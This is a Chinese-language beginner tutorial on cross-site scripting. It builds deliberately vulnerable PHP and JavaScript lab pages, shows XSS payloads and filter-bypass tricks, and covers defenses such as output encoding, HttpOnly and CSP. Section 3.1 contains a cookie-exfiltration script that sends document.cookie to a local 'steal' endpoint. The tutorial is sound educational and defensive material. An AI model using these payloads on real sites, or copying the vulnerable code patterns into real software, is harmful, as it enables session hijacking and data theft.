☰
从原理到防御:XSS跨站脚本攻击的完整入门指南
2026/10/20 5:02:40 网站建设 项目流程

如果你在一个输入框里随手输一行文字,提交后页面把这段文字原样“弹”了回来,那我得提醒你:这大概率就是 Web 世界里最常见的漏洞之一——XSS 跨站脚本攻击。很多新人学 XSS 时容易卡在“会用工具弹个窗,但说不清原理”,或者“背了一堆 payload,换个位置就失效”。

这篇文章我想换一种讲法,不只给你看现象,而是从最底层的“数据为什么会变成代码”开始拆,然后带你用十几行代码在本地复现三种 XSS,再把“拿到弹窗”升级到“会话劫持”的完整链路走一遍,最后落到防御侧,分析为什么过滤总被绕,以及真正靠谱的纵深防御长什么样。内容会尽量保持说人话,适合刚接触 Web 安全、想系统入门 XSS 的新人,也适合前后端开发顺手自查。

1. 先拆 XSS 的内核:为什么一段字符串能变成攻击命令

1.1 一个最经典的“问题代码”

我们先写一段 PHP,它没有数据库、没有框架,总共就几行:

<?php $name = $_GET['name']; echo "Hello, " . $name . "!"; ?>

正常使用时,访问http://localhost/xss.php?name=Alice,页面显示Hello, Alice!。如果我在浏览器里把地址改成:

http://localhost/xss.php?name=<script>alert(1)</script>

浏览器发出的请求里,name的参数值就是那段 HTML 标签。服务端拿到它之后,原封不动地拼进了响应体,于是浏览器在解析页面时,看到的是一个真实存在的<script>元素,它就会执行alert(1)。

这里的关键点是:服务端和浏览器都没有做任何“身份区分”——服务端认为它只是把一段字符串打印到 HTML 输出流里,浏览器却按照 HTML 语法把其中的标签识别成了可执行代码。

1.2 浏览器把“你给的”和“程序写的”看成同一种东西

我在实际带人入门时,被问得最多的一个问题是:浏览器为什么这么傻,用户输入的内容它也执行?这其实不能怪浏览器,因为浏览器拿到 HTML 响应时,它面对的是一个已经拼接好的文本流。

你可以把 HTML 文档想象成一张白纸,服务端负责把内容写到纸上。现在纸上既有程序自己写的固定内容,也有从用户请求里取出来的内容,两者混在一起,用的都是同样的墨水。浏览器解析这张纸时,它没法去区分“哪段文字是哪来的”,它只关心“这段文本是否符合 HTML 语法规则”。所以,只要用户输入被放进了一个“可能被解析成标签或属性”的位置,并且没有做任何转义,就存在注入的可能。

打个比方:现在我给你一张发票模板,只要把你提供的“报销备注”原样抄进去,发票就能生效。但你递过来的备注写着“另外给我转账 100 万”,会计也不看内容,照着抄进发票里——结果就出问题了。服务端就是那个会计,浏览器则是审核发票的人。XSS 的本质,就是把不可信的数据放进了一个可执行上下文,导致数据和代码的边界被打破。

1.3 三大形态怎么分:反射、存储、DOM

很多人一开始分不清反射型、存储型、DOM 型 XSS,其实弄明白“恶意脚本是在哪个环节被存下来的”就够了。

类型恶意内容主要存在哪里触发方式是否经过服务器典型场景
反射型请求 URL / 请求参数里每次需要诱导用户点击恶意链接是搜索框、错误页面回显
存储型服务器数据库 / 文件用户访问包含恶意内容的页面即触发是留言板、评论区、昵称
DOM 型浏览器内存中的 JavaScript 变量页面 JavaScript 读取外部数据后动态写入页面否(有时服务端也参与但责任在客户端)URL 参数、location.hash、postMessage

反射型和存储型都涉及服务端没有正确编码就输出,而 DOM 型的特殊之处在于,服务端可能返回的是一个完全正常的页面,恶意脚本是由前端 JavaScript 自己拼进去的。后面我们会各用一个靶场实验把这三种情况完全跑通。

理解这三种形态的价值在于,它们的“责任方”是不同的。修反射型,你改服务端输出就行;修 DOM 型,你得看前端代码里所有通过innerHTML、document.write写入数据的地方。这也是为什么很多团队做了接口层过滤,XSS 仍然防不住,因为 DOM 型漏洞根本不经过那层过滤。

2. 本地搭建最小靶场:三种 XSS 亲手跑一遍

2.1 反射型 XSS:10 行 PHP 就够

我先讲环境。你在自己电脑上放一个 PHP 文件,假设叫reflected.php:

<?php $keyword = $_GET['q'] ?? ''; echo '<h3>搜索结果:' . $keyword . '</h3>'; ?>

页面访问http://localhost/reflected.php?q=test,会显示“搜索结果:test”。现在我们把参数值改成:

http://localhost/reflected.php?q=<script>alert(document.domain)</script>

这时浏览器会弹出一个对话框,显示的是当前站点域名。为什么这幅画面很经典?因为这说明脚本已经在你访问的这个站点环境下执行了,攻击者可以在此基础上读取这个站点的数据,冒充这个用户去操作,而不只是弹个窗留念。

在实际测试环境中,我会建议你在输入框里先试一些“无害但能证明执行”的载荷,比如alert(document.domain),因为alert是最直观的验证方式。请一定不要用这种方式去任何未经授权的网站测试。

反射型的关键特征是“一次性”:恶意脚本藏在 URL 里,服务端把参数反射回响应。攻击者要做的是把这条恶意链接发给受害者,诱导他点击。对攻击者来说,这段脚本并没有永久留在目标服务器上,所以叫“反射型”。

2.2 存储型 XSS:写进“数据库”的攻击

存储型最容易理解它的威胁,因为它不再是“一次性骗点击”。我用一个简单的留言板来演示,存储直接用一个文本文件代替数据库,逻辑更清晰:

<?php // save.php if ($_POST['msg'] !== '') { file_put_contents('messages.txt', $_POST['msg'] . PHP_EOL, FILE_APPEND); } ?>
<?php // list.php echo '<h2>留言板</h2>'; $lines = file('messages.txt'); foreach ($lines as $line) { echo '<p>' . $line . '</p>'; } ?>

正常流程是用户在save.php提交一条纯文本留言,list.php把所有留言读出来展示。但如果提交时留言内容是:

<script src="http://localhost:8888/evil.js"></script>

那list.php每次被任何人访问,都会加载这个外部脚本并执行。即使恶意脚本只在提交那一刻发生一次,后面每一个打开留言板的用户都会中招。

这也是存储型 XSS 最可怕的地方:它的攻击范围不是“某个人点了恶意链接”,而是“所有访问了页面的人”。在真实场景里,这类问题最常出现在评论区、用户昵称、消息通知这类“用户内容会被保存并在后续页面展示”的功能上。做代码审计时,我最先关注的一定是这类持久化输出点。

2.3 DOM 型 XSS:服务器毫不知情

DOM 型 XSS 的难点在于,服务端可能没有任何一个字段被直接拼到响应里。我们用一段纯前端代码模拟:

<!DOCTYPE html> <html> <head><title>欢迎页</title></head> <body> <div id="output">Hello, guest</div> <script> let params = new URLSearchParams(location.search); let name = params.get('name'); document.getElementById('output').innerHTML = 'Hello, ' + name; </script> </body> </html>

现在访问:

http://localhost/dom.html?name=<img src=x onerror=alert(1)>

浏览器把name参数取出来,通过innerHTML写进div。<img>标签加载失败,触发onerror事件,脚本执行。整个过程里,服务端返回的是固定 HTML,恶意内容根本没有经过服务端拼装——就算服务端做了很严格的输入过滤和输出编码,对这个页面也无效,因为危险发生在客户端的 DOM 操作里。

我遇到过很多开发同学问:那用textContent代替innerHTML是不是就安全了?在绝大多数场景下是的,因为textContent只会把内容当作纯文本,不会解析 HTML。但真正的问题是项目里到处都有人图省事用innerHTML、document.write、以及 jQuery 的.html()方法,这些 API 本质上是“把字符串当 HTML 解析”的入口。审代码的时候,我会直接全局搜索innerHTML和.html(),然后逐个跟踪数据来源,这是发现 DOM XSS 最高效的路子。

2.4 三个触发链路放一起看

三个实验做完,你会发现它们的链路差异决定了防御位置:

类型恶意代码进出的路径最核心的防御点
反射型浏览器 → 服务端 → 响应 → 浏览器服务端输出编码
存储型浏览器 → 服务端存储 → 任意用户浏览器服务端输入校验 + 输出编码,且要覆盖所有展示场景
DOM 型浏览器 → JS 读取 → DOM 写入前端代码不要用 HTML 解释型 API,或对写入内容做编码

我们不需要死记“每个类型叫什么”这类概念,只需要在拿到一个功能模块时问自己三句话:数据从哪来?数据到哪里去?中间有没有哪一步会把结构当执行代码?这三个问题问完,XSS 的类型自然就清楚了。

3. 危害放大:从弹窗到会话劫持的完整演示链路

3.1 第一步:先把弹窗变成真正的数据外带

弹窗只能证明漏洞存在,攻击者真正想做的,是把受害者的数据偷出来。以存储型 XSS 为例,恶意脚本可以做成这样(以下仅用于本地靶场演示,请勿在任何未授权系统上尝试):

// evil.js new Image().src = 'http://localhost:8888/steal?cookie=' + document.cookie;

这段脚本的作用是,把当前页面可访问的 Cookie 拼进一个图片链接的 URL,然后请求到攻击者监听的服务上。攻击者在另一个端口起一个本地服务,就能从访问日志里看到steal?cookie=sessionid=xxxxxxxx这样的记录。

这个思路可以扩展到偷表单内容、偷本地存储、模拟用户点击、抓取页面里的敏感信息。XSS 真正的威力不是弹窗,而是恶意脚本拥有了当前用户在浏览器里的权限,它能调用这个页面允许的所有接口,能读取同源下的数据。对一个未开放特殊端口、未锁定 Cookie 属性的 Web 应用来说,一次成功的 XSS 基本等于账户控制。

3.2 HttpOnly 能挡住一部分,但不是全部真相

你现在可能想到了 HttpOnly。这是一个很有意思的对抗点。HttpOnly 是服务器在Set-Cookie响应头里加了HttpOnly标志,目的是告诉浏览器:这个 Cookie 只能通过 HTTP 请求自动携带,JavaScript 无法通过document.cookie读取。

加了 HttpOnly 后,我上面那段steal脚本确实拿不到 Cookie 了,这一点是对攻击者最直接的阻碍。但请注意,HttpOnly 挡不住 XSS 本身,因为恶意脚本还在执行。攻击者拿不到 Cookie,还可以做一些完全不需要 Cookie 的事:

  • 修改页面上显示的金额、账号等信息,诱导用户在伪造内容上进一步操作;
  • 动态替换成钓鱼表单,受害者在这个“合法域名”下填写的密码和验证码会被外带;
  • 在页面内自动提交表单,发起改密码、转账等操作——这就是 CSRF 的结合;
  • 监听键盘事件,记录用户在当前页面输入的一切内容。

所以,把 HttpOnly 当成“免死金牌”是很多团队的误区。它是一个非常关键的缓解层,但 XSS 的根子在“不可信数据进入可执行上下文”,只要这个根子不拔掉,攻击者总有绕过面。

3.3 同源策略限制了什么,没有限制什么

学到这里,可能会有一个问题:恶意脚本凭什么能读取到这个站点的数据?这就不得不提浏览器的同源策略。同源策略规定,一个页面里的脚本只能访问“同源”的页面数据,源由协议、域名、端口三者决定。也就是说,攻击者自己在evil.com上的脚本,正常情况下是读不到victim.com的数据的。但 XSS 的可怕之处正在于:攻击者的脚本是在victim.com的页面内被注入执行的,它跟页面本身的脚本“同源”,浏览器就认为这是从本站加载的代码,该有的权限全都有。

所以,同源策略是浏览器的一道安全防线,但 XSS 让攻击者翻过了这道墙,直接在墙内活动。这也解释了为什么很多防护方案都围绕“减少可执行上下文”“限制脚本来源”来设计。当 XSS 无法被百分百阻止时,CSP(内容安全策略)能显著提高攻击成本,比如指定页面只能加载同源脚本,并且禁止内联脚本执行。一个站点即使存在存储型 XSS,如果 CSP 设置严格,被注入的脚本可能根本无法执行。

CSP 本身是一个很大的话题,新人在学 XSS 时至少要理解它的机制:通过响应头或<meta>告诉浏览器“页面允许加载哪些来源的脚本、样式、图片”,不满足条件的资源直接拦截。它不能修复漏洞,但是一个有效的托底手段。

4. 绕过与防御:用代码审计思路做纵深拆解

4.1 为什么过滤总被绕过:常见绕过手法复盘

很多新人在做练习时,会发现一个现象:明明代码里加了str_replace把<script>替换掉了,结果还是被绕过了。这不是某个特定框架的问题,而是因为 HTML 的解析规则远比“去掉一个标签名”复杂。

我整理几个我在授权测试环境里常用的绕过思路,把它当成“防御侧的案例分析”来看:

  • 大小写和嵌套:过滤了<script>就试<SCRIPT>、<ScRiPt>,某些配置里前端过滤器是区分大小写的。
  • 事件属性:不用<script>,直接用<img src=x onerror=alert(1)>,因为<img>标签加载资源失败会触发onerror。
  • 伪协议:在href、src属性里使用javascript:协议触发脚本,比如<a href="javascript:alert(1)">click</a>。
  • 其他可承载 HTML 的命名空间:<svg>、<math>里的标签解析规则与普通 HTML 不同,一些在 HTML 里被过滤的编码,在这些命名空间里可能正常执行。
  • 编码绕过:浏览器在解析实体、URL 编码时有非常复杂的层级,过滤层只做一次解码,而浏览器可能解了两次。这是导致绕过的最常见原因。

我说这些不是要教你专门破坏别人的网站,而是因为只有理解了绕过路径,写防御代码时才会真正谨慎。你会亲眼看到“把一个字符串里的<script>删掉”这种过滤为什么不堪一击,也会明白为什么安全工作一定要做纵深防御,而不是依赖单一的白名单。

4.2 每种输出位置都需要不同的编码方式

防御侧最关键的一点是:编码必须跟“输出位置”匹配。很多已经做了转义的团队仍然被绕过,就是因为在一个位置用错了编码方法。

输出上下文场景示例需要做的编码/处理
HTML 元素内容<p>{userInput}</p>转义& < > " ',其中首要转义<和&
HTML 属性值<input value="{userInput}">转义引号和&,避免属性值被闭合后注入新属性
URL 上下文<a href="{userInput}">禁止javascript:等协议,做 URL 白名单校验
JS 字符串上下文var x = "{userInput}";转义反斜杠、引号,最好避免直接拼接,用 JSON 传输
CSS 上下文background: url({userInput})尽量避免不可信数据进入 CSS,必须做协议白名单

以 PHP 的htmlspecialchars()为例,默认转义&、<、>、"和'(取决于设置),但它适合的是“HTML 元素内容”和“带引号的属性值”。如果你用它去包裹一段用户输入,然后又把它放在onclick="..."这类 JS 执行上下文里,那就不够用了,因为 JS 解析器不认 HTML 实体。

所以我看代码的时候,从来不只是看“有没有转义”,还会循着变量从哪个函数来、要输出到哪个标签的哪个位置,逐段确认匹配性。这个是很多开发新手最容易忽略的细节。

4.3 纵深防御的落地清单

如果让团队真正落地 XSS 防护,我会把下面这组清单抛出来,按优先级排:

  1. 输入侧做白名单校验:能限制格式的字段全部限制格式,比如数字、手机号、枚举值。对富文本,统一走白名单过滤组件,移除script、事件属性、javascript:协议等危险结构。
  2. 输出侧按上下文编码:前后端都要对你输出到 HTML 中的数据做转义,前端尤其注意innerHTML、document.write、outerHTML这类危险 API,能用textContent就用textContent。
  3. Cookie 加安全属性:关键会话 Cookie 必须设置HttpOnly和SameSite,传输走 HTTPS 时开启Secure。
  4. 启用 CSP:对于没有富文本需求的页面,直接禁止内联脚本和外部未知域名的脚本加载。需要页面开发灵活性的团队,可以用nonce或hash的方式给合法脚本放行。
  5. 安全开发规范:新功能上线前,让安全测试至少覆盖“可输入内容是否会原样输出”“客户端是否会动态拼接 HTML”两条路径,并保留统一的 XSS 测试用例。

你可能会发现,真正有效的防御没有一个是“单点绝对安全”。输入过滤、输出编码、CSP、HttpOnly,每一层都会漏,但每一层都能挡住一部分攻击。攻击者需要一条完整的利用链,防御方则只需要把链子的任何一环焊死。

5. 给新人的 XSS 学习方法与心态

5.1 有效的练习路径:靶场、样本、源码审计三步走

我在学习 XSS 的过程中总结了一条经过多人验证的路径:

第一步,把三种 XSS 都亲手复现一遍,对自己写的靶场下手,观察请求和响应,理解恶意代码从哪里进入、最终在哪个环节变成可执行代码。

第二步,看公开的漏洞 Writeup 和演示环境。很多平台提供了免费在线练习环境,可以在“合法可控”的范围内练各种绕过手法。练的时候不要只复制 payload,要拆开看它为什么能执行,比如它利用了哪一个解析阶段。

第三步,自己搭建或阅读一个开源项目的源码,做代码审计练习。找 1000 行以内的项目,重点找$_GET、$_POST参数往 HTML 里拼的逻辑,或者前端搜索innerHTML,看看你能不能找到 XSS 点。能找到漏洞,你才会真正理解“哪些地方适合做过滤,哪些地方是漏网之鱼”。

5.2 浏览器开发者工具的三个实用调试技巧

做 XSS 学习时,浏览器开发者工具是你最高频的伙伴,这里分享三个我一直用的技巧:

第一个是查看实际渲染的 DOM。输入 payload 后,切到开发者工具的“元素”面板,观察恶意标签是否被完整解析。很多初学者只看网络面板里的响应内容,忽略了浏览器对 HTML 的容错处理,比如多余的引号、标签自动闭合等,都会影响最后的执行结果。

第二个是在 Console 里逐条执行验证。遇到不确定的载荷,可以先把payload放进 Console 里的document.write或element.innerHTML中看效果,再决定要不要走一遍完整请求。这能帮助你快速缩小问题范围。

第三个是用断点观察 JavaScript 执行顺序。DOM 型 XSS 的调试离不开它——你要在读取 URL 参数的那一行代码上打断点,单步执行,看看数据到了哪一个 API 被拼接进 DOM,这样你就能定位漏洞的确切触发点,而不是靠猜。

5.3 容易踩的坑和学习心态

最后想聊聊新人学 XSS 时最常见的几个误区。

第一个坑是把 XSS 当成“弹窗漏洞”。弹窗只是在演示时证明执行,它并不是漏洞危害的全部。同样,能用alert弹窗不等于你已经掌握了 XSS,因为现实场景里保证脚本执行往往更难,可执行之后的利用方式也远比弹窗复杂。

第二个坑是过度依赖扫描器。漏洞扫描器可以帮你发现一部分输入点,但它很难判断一个“看起来被转义”的输出位置是不是真的安全,更别提 DOM 型 XSS 这类纯客户端问题。手动分析请求、响应和前端代码,仍然是核心能力。

第三个坑是心态上的急于求成。XSS 涉及 HTTP 协议、HTML 解析、JavaScript 执行、编码规则、浏览器安全策略,这些知识本身就需要时间沉淀。我见过很多同学把绕过 payload 背得滚瓜烂熟,但一旦换了场景就不知道如何下手。更推荐的方法是:每看到一个 payload,都追问它靠什么“机制”生效,把那套机制记下来,而不是只记那个符号。

我在实际项目中踩过的最痛一次,就是维护一个老系统时,只给服务端做了统一的 HTML 实体转义,却没检查前端的富文本渲染逻辑,结果一个用户输入的“图片地址”里带着onerror事件,在管理后台执行了脚本,整个后台会话暴露风险。那次之后,我自己的防御观从“加一道过滤”彻底转变成了“每一层都不放心,每一层都盯紧”。

如果你能亲手把反射、存储、DOM 三种 XSS 都跑一遍,再对着一份上千行源码做一次审计练习,你对 XSS 的理解会比看再多篇漏洞列表都扎实。之后无论是写代码,还是做测试,你都能用自己的眼睛判断“这段输入到底能不能闯祸”。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询